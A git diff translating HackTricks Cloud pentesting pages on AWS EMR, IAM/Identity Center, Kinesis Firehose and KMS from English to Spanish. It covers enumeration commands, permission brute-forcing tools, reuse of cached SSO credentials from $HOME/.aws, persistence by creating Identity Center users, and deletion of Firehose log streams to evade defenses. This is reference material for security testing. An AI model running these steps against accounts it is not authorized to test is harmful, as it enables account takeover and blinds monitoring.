``` - ### Privesc (TODO) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index b05012f3e..69c3b9f7e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,38 +4,37 @@ ## EMR -AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark. +El servicio Elastic MapReduce (EMR) de AWS, a partir de la versión 4.8.0, introdujo una **configuración de seguridad** que mejora la protección de datos al permitir a los usuarios especificar configuraciones de cifrado para datos en reposo y en tránsito dentro de los clústeres EMR, que son grupos escalables de instancias EC2 diseñadas para procesar marcos de big data como Apache Hadoop y Spark. -Key characteristics include: +Las características clave incluyen: -- **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features: - - **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider. - - **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop: - - Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer. - - HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm. -- **Encryption in Transit**: Focuses on securing data during transfer. Options include: - - **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider: - - **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket. - - **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts. +- **Cifrado de Clúster por Defecto**: Por defecto, los datos en reposo dentro de un clúster no están cifrados. Sin embargo, habilitar el cifrado proporciona acceso a varias características: +- **Configuración Unificada de Clave de Linux**: Cifra los volúmenes de clúster EBS. Los usuarios pueden optar por el Servicio de Gestión de Claves de AWS (KMS) o un proveedor de claves personalizado. +- **Cifrado HDFS de Código Abierto**: Ofrece dos opciones de cifrado para Hadoop: +- Secure Hadoop RPC (Remote Procedure Call), configurado para privacidad, aprovechando la Capa de Seguridad de Autenticación Simple. +- El cifrado de transferencia de bloques HDFS, configurado en verdadero, utiliza el algoritmo AES-256. +- **Cifrado en Tránsito**: Se centra en asegurar los datos durante la transferencia. Las opciones incluyen: +- **Capa de Seguridad de Transporte de Código Abierto (TLS)**: El cifrado se puede habilitar eligiendo un proveedor de certificados: +- **PEM**: Requiere la creación manual y agrupación de certificados PEM en un archivo zip, referenciado desde un bucket S3. +- **Personalizado**: Implica agregar una clase Java personalizada como proveedor de certificados que suministra artefactos de cifrado. -Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version: +Una vez que se integra un proveedor de certificados TLS en la configuración de seguridad, se pueden activar las siguientes características de cifrado específicas de la aplicación, variando según la versión de EMR: - **Hadoop**: - - Might reduce encrypted shuffle using TLS. - - Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption. -- **Presto** (EMR version 5.6.0+): - - Internal communication between Presto nodes is secured using SSL and TLS. +- Puede reducir el shuffle cifrado usando TLS. +- Secure Hadoop RPC con Capa de Seguridad de Autenticación Simple y Transferencia de Bloques HDFS con AES-256 se activan con cifrado en reposo. +- **Presto** (versión EMR 5.6.0+): +- La comunicación interna entre nodos de Presto está asegurada usando SSL y TLS. - **Tez Shuffle Handler**: - - Utilizes TLS for encryption. +- Utiliza TLS para cifrado. - **Spark**: - - Employs TLS for the Akka protocol. - - Uses Simple Authentication Security Layer and 3DES for Block Transfer Service. - - External shuffle service is secured with the Simple Authentication Security Layer. +- Emplea TLS para el protocolo Akka. +- Usa Capa de Seguridad de Autenticación Simple y 3DES para el Servicio de Transferencia de Bloques. +- El servicio de shuffle externo está asegurado con la Capa de Seguridad de Autenticación Simple. -These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases. +Estas características mejoran colectivamente la postura de seguridad de los clústeres EMR, especialmente en lo que respecta a la protección de datos durante las fases de almacenamiento y transmisión. #### Enumeration - ```bash aws emr list-clusters aws emr describe-cluster --cluster-id @@ -46,19 +45,14 @@ aws emr list-notebook-executions aws emr list-security-configurations aws emr list-studios #Get studio URLs ``` - #### Privesc {{#ref}} ../aws-privilege-escalation/aws-emr-privesc.md {{#endref}} -## References +## Referencias - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 7a430cc17..e85387a21 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -1,20 +1,20 @@ -# AWS - IAM, Identity Center & SSO Enum +# AWS - IAM, Centro de Identidad y Enumeración SSO {{#include ../../../banners/hacktricks-training.md}} ## IAM -You can find a **description of IAM** in: +Puedes encontrar una **descripción de IAM** en: {{#ref}} ../aws-basic-information/ {{#endref}} -### Enumeration +### Enumeración -Main permissions needed: +Permisos principales necesarios: -- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion` +- `iam:ListPolicies`, `iam:GetPolicy` y `iam:GetPolicyVersion` - `iam:ListRoles` - `iam:ListUsers` - `iam:ListGroups` @@ -22,10 +22,9 @@ Main permissions needed: - `iam:ListAttachedUserPolicies` - `iam:ListAttachedRolePolicies` - `iam:ListAttachedGroupPolicies` -- `iam:ListUserPolicies` and `iam:GetUserPolicy` -- `iam:ListGroupPolicies` and `iam:GetGroupPolicy` -- `iam:ListRolePolicies` and `iam:GetRolePolicy` - +- `iam:ListUserPolicies` y `iam:GetUserPolicy` +- `iam:ListGroupPolicies` y `iam:GetGroupPolicy` +- `iam:ListRolePolicies` y `iam:GetRolePolicy` ```bash # All IAMs ## Retrieves information about all IAM users, groups, roles, and policies @@ -89,64 +88,54 @@ aws iam get-account-password-policy aws iam list-mfa-devices aws iam list-virtual-mfa-devices ``` +### Fuerza Bruta de Permisos -### Permissions Brute Force - -If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them. +Si estás interesado en tus propios permisos pero no tienes acceso para consultar IAM, siempre podrías forzarlos. #### bf-aws-permissions -The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**. - +La herramienta [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) es solo un script de bash que ejecutará, utilizando el perfil indicado, todas las acciones **`list*`, `describe*`, `get*`** que pueda encontrar usando los mensajes de ayuda de `aws` cli y **devolverá las ejecuciones exitosas**. ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` - #### bf-aws-perms-simulate -The tool [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) can find your current permission (or the ones of other principals) if you have the permission **`iam:SimulatePrincipalPolicy`** - +La herramienta [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) puede encontrar tus permisos actuales (o los de otros principales) si tienes el permiso **`iam:SimulatePrincipalPolicy`**. ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` - #### Perms2ManagedPolicies -If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**. - +Si encontraste **algunos permisos que tiene tu usuario**, y piensas que están siendo otorgados por un **rol gestionado de AWS** (y no por uno personalizado). Puedes usar la herramienta [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) para verificar todos los **roles gestionados de AWS que otorgan los permisos que descubriste que tienes**. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` - > [!WARNING] -> It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example. +> Es posible "saber" si los permisos que tienes son otorgados por un rol gestionado de AWS si ves que **tienes permisos sobre servicios que no se utilizan** por ejemplo. #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**. - +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) es una herramienta de Python que analiza **los registros de AWS CloudTrail para extraer y resumir acciones** realizadas por todos o solo un usuario o rol específico. La herramienta **analizará cada registro de cloudtrail del bucket indicado**. ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` - > [!WARNING] -> If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who. +> Si encuentras .tfstate (archivos de estado de Terraform) o archivos de CloudFormation (que suelen ser archivos yaml ubicados dentro de un bucket con el prefijo cf-templates), también puedes leerlos para encontrar la configuración de aws y averiguar qué permisos se han asignado a quién. #### enumerate-iam -To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**. +Para usar la herramienta [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) primero necesitas descargar todos los puntos finales de la API de AWS, de los cuales el script **`generate_bruteforce_tests.py`** obtendrá todos los **"list\_", "describe\_", y "get\_" endpoints.** Y finalmente, intentará **acceder a ellos** con las credenciales dadas y **indicar si funcionó**. -(In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that). +(En mi experiencia, la **herramienta se cuelga en algún momento**, [**consulta esta solución**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) para intentar solucionarlo). > [!WARNING] -> In my experience this tool is like the previous one but working worse and checking less permissions - +> En mi experiencia, esta herramienta es como la anterior pero funciona peor y verifica menos permisos. ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -163,11 +152,9 @@ cd .. # Enumerate permissions python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION] ``` - #### weirdAAL -You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). This tool will check **several common operations on several common services** (will check some enumeration permissions and also some privesc permissions). But it will only check the coded checks (the only way to check more stuff if coding more tests). - +También podrías usar la herramienta [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Esta herramienta verificará **varias operaciones comunes en varios servicios comunes** (verificará algunos permisos de enumeración y también algunos permisos de privesc). Pero solo verificará las comprobaciones codificadas (la única forma de verificar más cosas es codificando más pruebas). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -191,12 +178,10 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` - -#### Hardening Tools to BF permissions +#### Herramientas de endurecimiento para BF permisos {{#tabs }} {{#tab name="CloudSploit" }} - ```bash # Export env variables ./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json @@ -207,11 +192,9 @@ jq 'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json # Get services by regions jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json ``` - {{#endtab }} {{#tab name="SteamPipe" }} - ```bash # https://github.com/turbot/steampipe-mod-aws-insights steampipe check all --export=json @@ -220,50 +203,48 @@ steampipe check all --export=json # In this case you cannot output to JSON, so heck it in the dashboard steampipe dashboard ``` - {{#endtab }} {{#endtabs }} #### \ -Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR! +Ninguna de las herramientas anteriores es capaz de verificar casi todos los permisos, así que si conoces una mejor herramienta, ¡envía un PR! -### Unauthenticated Access +### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Escalación de Privilegios -In the following page you can check how to **abuse IAM permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de IAM para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAM Post Exploitation +### Post Explotación de IAM {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Persistence +### Persistencia de IAM {{#ref}} ../aws-persistence/aws-iam-persistence.md {{#endref}} -## IAM Identity Center +## Centro de Identidad de IAM -You can find a **description of IAM Identity Center** in: +Puedes encontrar una **descripción del Centro de Identidad de IAM** en: {{#ref}} ../aws-basic-information/ {{#endref}} -### Connect via SSO with CLI - +### Conectar a través de SSO con CLI ```bash # Connect with sso via CLI aws configure sso aws configure sso @@ -274,20 +255,18 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` +### Enumeración -### Enumeration +Los elementos principales del Centro de Identidad son: -The main elements of the Identity Center are: +- Usuarios y grupos +- Conjuntos de permisos: Tienen políticas adjuntas +- Cuentas de AWS -- Users and groups -- Permission Sets: Have policies attached -- AWS Accounts - -Then, relationships are created so users/groups have Permission Sets over AWS Account. +Luego, se crean relaciones para que los usuarios/grupos tengan Conjuntos de permisos sobre la Cuenta de AWS. > [!NOTE] -> Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there). - +> Tenga en cuenta que hay 3 formas de adjuntar políticas a un Conjunto de permisos. Adjuntar políticas administradas por AWS, políticas administradas por el cliente (estas políticas deben ser creadas en todas las cuentas que el Conjunto de permisos está afectando), y políticas en línea (definidas allí). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -321,11 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` +### Enumeración Local -### Local Enumeration - -It's possible to create inside the folder `$HOME/.aws` the file config to configure profiles that are accessible via SSO, for example: - +Es posible crear dentro de la carpeta `$HOME/.aws` el archivo config para configurar perfiles que son accesibles a través de SSO, por ejemplo: ```ini [default] region = us-west-2 @@ -343,20 +320,16 @@ output = json role_arn = arn:aws:iam:::role/ReadOnlyRole source_profile = Hacktricks-Admin ``` - -This configuration can be used with the commands: - +Esta configuración se puede utilizar con los comandos: ```bash # Login in ms-sso-profile aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` +Cuando se utiliza un **perfil de SSO** para acceder a información, las credenciales se **almacenan en caché** en un archivo dentro de la carpeta **`$HOME/.aws/sso/cache`**. Por lo tanto, pueden ser **leídas y utilizadas desde allí**. -When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**. - -Moreover, **more credentials** can be stored in the folder **`$HOME/.aws/cli/cache`**. This cache directory is primarily used when you are **working with AWS CLI profiles** that use IAM user credentials or **assume** roles through IAM (without SSO). Config example: - +Además, se pueden almacenar **más credenciales** en la carpeta **`$HOME/.aws/cli/cache`**. Este directorio de caché se utiliza principalmente cuando estás **trabajando con perfiles de AWS CLI** que utilizan credenciales de usuario IAM o **asumen** roles a través de IAM (sin SSO). Ejemplo de configuración: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -364,43 +337,36 @@ source_profile = default mfa_serial = arn:aws:iam::123456789012:mfa/saanvi external_id = 123456 ``` - -### Unauthenticated Access +### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Escalación de Privilegios {{#ref}} ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md {{#endref}} -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md {{#endref}} -### Persistence - -#### Create a user an assign permissions to it +### Persistencia +#### Crear un usuario y asignarle permisos ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` +- Crea un grupo y asígnale permisos y establece un usuario controlado en él +- Da permisos adicionales a un usuario o grupo controlado +- Por defecto, solo los usuarios con permisos de la Cuenta de Gestión podrán acceder y controlar el Centro de Identidad de IAM. -- Create a group and assign it permissions and set on it a controlled user -- Give extra permissions to a controlled user or group -- By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center. - - However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +Sin embargo, es posible a través de Administrador Delegado permitir que usuarios de una cuenta diferente lo gestionen. No tendrán exactamente los mismos permisos, pero podrán realizar [**actividades de gestión**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 6ca66b5ed..9f6e7526a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,12 +4,11 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints. +Amazon Kinesis Data Firehose es un **servicio completamente gestionado** que facilita la entrega de **datos de transmisión en tiempo real**. Soporta una variedad de destinos, incluyendo Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk y puntos finales HTTP personalizados. -The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases. +El servicio alivia la necesidad de escribir aplicaciones o gestionar recursos al permitir que los productores de datos se configuren para enviar datos directamente a Kinesis Data Firehose. Este servicio es responsable de la **entrega automática de datos al destino especificado**. Además, Kinesis Data Firehose proporciona la opción de **transformar los datos antes de su entrega**, mejorando su flexibilidad y aplicabilidad a varios casos de uso. ### Enumeration - ```bash # Get delivery streams aws firehose list-delivery-streams @@ -19,37 +18,26 @@ aws firehose describe-delivery-stream --delivery-stream-name ## Get roles aws firehose describe-delivery-stream --delivery-stream-name | grep -i RoleARN ``` +## Post-explotación / Evasión de Defensa -## Post-exploitation / Defense Bypass - -In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly. +En caso de que firehose se utilice para enviar registros o información de defensa, utilizando estas funcionalidades un atacante podría evitar que funcione correctamente. ### firehose:DeleteDeliveryStream - ``` aws firehose delete-delivery-stream --delivery-stream-name --allow-force-delete ``` - ### firehose:UpdateDestination - ``` aws firehose update-destination --delivery-stream-name --current-delivery-stream-version-id --destination-id ``` - ### firehose:PutRecord | firehose:PutRecordBatch - ``` aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}' aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json ``` - -## References +## Referencias - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 543ed31cd..7c5c192dd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -2,128 +2,125 @@ {{#include ../../../banners/hacktricks-training.md}} -## KMS - Key Management Service +## KMS - Servicio de Gestión de Claves -AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys. +AWS Key Management Service (AWS KMS) se presenta como un servicio gestionado, simplificando el proceso para que los usuarios **crean y gestionen claves maestras de cliente** (CMKs). Estas CMKs son fundamentales en la encriptación de los datos del usuario. Una característica notable de AWS KMS es que las CMKs están predominantemente **aseguradas por módulos de seguridad de hardware** (HSMs), mejorando la protección de las claves de encriptación. -KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**. +KMS utiliza **criptografía simétrica**. Esto se utiliza para **encriptar información en reposo** (por ejemplo, dentro de un S3). Si necesitas **encriptar información en tránsito**, debes usar algo como **TLS**. -KMS is a **region specific service**. +KMS es un **servicio específico de región**. -**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used. +**Los administradores de Amazon no tienen acceso a tus claves**. No pueden recuperar tus claves y no te ayudan con la encriptación de tus claves. AWS simplemente administra el sistema operativo y la aplicación subyacente; depende de nosotros administrar nuestras claves de encriptación y gestionar cómo se utilizan esas claves. -**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. +**Claves Maestras de Cliente** (CMK): Pueden encriptar datos de hasta 4KB de tamaño. Se utilizan típicamente para crear, encriptar y desencriptar las DEKs (Claves de Encriptación de Datos). Luego, las DEKs se utilizan para encriptar los datos. -A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. +Una clave maestra de cliente (CMK) es una representación lógica de una clave maestra en AWS KMS. Además de los identificadores de la clave maestra y otros metadatos, incluyendo su fecha de creación, descripción y estado de la clave, una **CMK contiene el material de clave que se utiliza para encriptar y desencriptar datos**. Cuando creas una CMK, por defecto, AWS KMS genera el material de clave para esa CMK. Sin embargo, puedes optar por crear una CMK sin material de clave y luego importar tu propio material de clave en esa CMK. -There are 2 types of master keys: +Hay 2 tipos de claves maestras: -- **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it. -- **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys. +- **CMKs gestionadas por AWS: Utilizadas por otros servicios para encriptar datos**. Se utilizan por el servicio que las creó en una región. Se crean la primera vez que implementas la encriptación en ese servicio. Rotan cada 3 años y no es posible cambiarlas. +- **CMKs gestionadas por el cliente**: Flexibilidad, rotación, acceso configurable y política de clave. Habilitar y deshabilitar claves. -**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. +**Encriptación de Sobre** en el contexto del Servicio de Gestión de Claves (KMS): Sistema de jerarquía de dos niveles para **encriptar datos con la clave de datos y luego encriptar la clave de datos con la clave maestra**. -### Key Policies +### Políticas de Clave -These defines **who can use and access a key in KMS**. +Estas definen **quién puede usar y acceder a una clave en KMS**. -By **default:** +Por **defecto:** -- It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM. +- Da acceso a la **IAM de la** **cuenta de AWS que posee la clave KMS** para gestionar el acceso a la clave KMS a través de IAM. - Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one. +A diferencia de otras políticas de recursos de AWS, una **política de clave KMS de AWS no otorga automáticamente permiso a ninguno de los principales de la cuenta**. Para otorgar permiso a los administradores de la cuenta, **la política de clave debe incluir una declaración explícita** que proporcione este permiso, como esta. - - Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work. +- Sin permitir la cuenta (`"AWS": "arn:aws:iam::111122223333:root"`), los permisos de IAM no funcionarán. -- It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy. +- **Permite que la cuenta use políticas de IAM** para permitir el acceso a la clave KMS, además de la política de clave. - **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective. +**Sin este permiso, las políticas de IAM que permiten el acceso a la clave son ineficaces**, aunque las políticas de IAM que niegan el acceso a la clave siguen siendo efectivas. -- It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted. - -**Default policy** example: +- **Reduce el riesgo de que la clave se vuelva inmanejable** al dar permiso de control de acceso a los administradores de la cuenta, incluyendo al usuario root de la cuenta, que no puede ser eliminado. +**Ejemplo de política por defecto**: ```json { - "Sid": "Enable IAM policies", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::111122223333:root" - }, - "Action": "kms:*", - "Resource": "*" +"Sid": "Enable IAM policies", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::111122223333:root" +}, +"Action": "kms:*", +"Resource": "*" } ``` - > [!WARNING] -> If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**. +> Si la **cuenta está permitida** (`"arn:aws:iam::111122223333:root"`), un **principal** de la cuenta **todavía necesitará permisos de IAM** para usar la clave KMS. Sin embargo, si el **ARN** de un rol, por ejemplo, está **específicamente permitido** en la **Política de Clave**, ese rol **no necesita permisos de IAM**.
-Policy Details +Detalles de la Política -Properties of a policy: +Propiedades de una política: -- JSON based document -- Resource --> Affected resources (can be "\*") -- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions) -- Effect --> Allow/Deny -- Principal --> arn affected -- Conditions (optional) --> Condition to give the permissions +- Documento basado en JSON +- Recurso --> Recursos afectados (puede ser "\*") +- Acción --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permisos) +- Efecto --> Permitir/Denegar +- Principal --> arn afectado +- Condiciones (opcional) --> Condición para otorgar los permisos -Grants: +Concesiones: -- Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...) -- After the grant is created a GrantToken and a GratID are issued +- Permite delegar tus permisos a otro principal de AWS dentro de tu cuenta de AWS. Necesitas crearlos utilizando las API de AWS KMS. Se puede indicar el identificador de CMK, el principal beneficiario y el nivel requerido de operación (Decrypt, Encrypt, GenerateDataKey...) +- Después de que se crea la concesión, se emiten un GrantToken y un GrantID. -**Access**: +**Acceso**: -- Via **key policy** -- If this exist, this takes **precedent** over the IAM policy -- Via **IAM policy** -- Via **grants** +- A través de **política de clave** -- Si esto existe, esto tiene **precedencia** sobre la política de IAM +- A través de **política de IAM** +- A través de **concesiones**
-### Key Administrators +### Administradores de Clave -Key administrator by default: +Administrador de clave por defecto: -- Have access to manage KMS but not to encrypt or decrypt data -- Only IAM users and roles can be added to Key Administrators list (not groups) -- If external CMK is used, Key Administrators have the permission to import key material +- Tienen acceso para gestionar KMS pero no para cifrar o descifrar datos +- Solo se pueden agregar usuarios y roles de IAM a la lista de Administradores de Clave (no grupos) +- Si se utiliza un CMK externo, los Administradores de Clave tienen el permiso para importar material de clave -### Rotation of CMKs +### Rotación de CMKs -- The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. -- **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed. -- **Older keys are retained** to decrypt data that was encrypted prior to the rotation -- In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. -- If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. +- Cuanto más tiempo se deja la misma clave 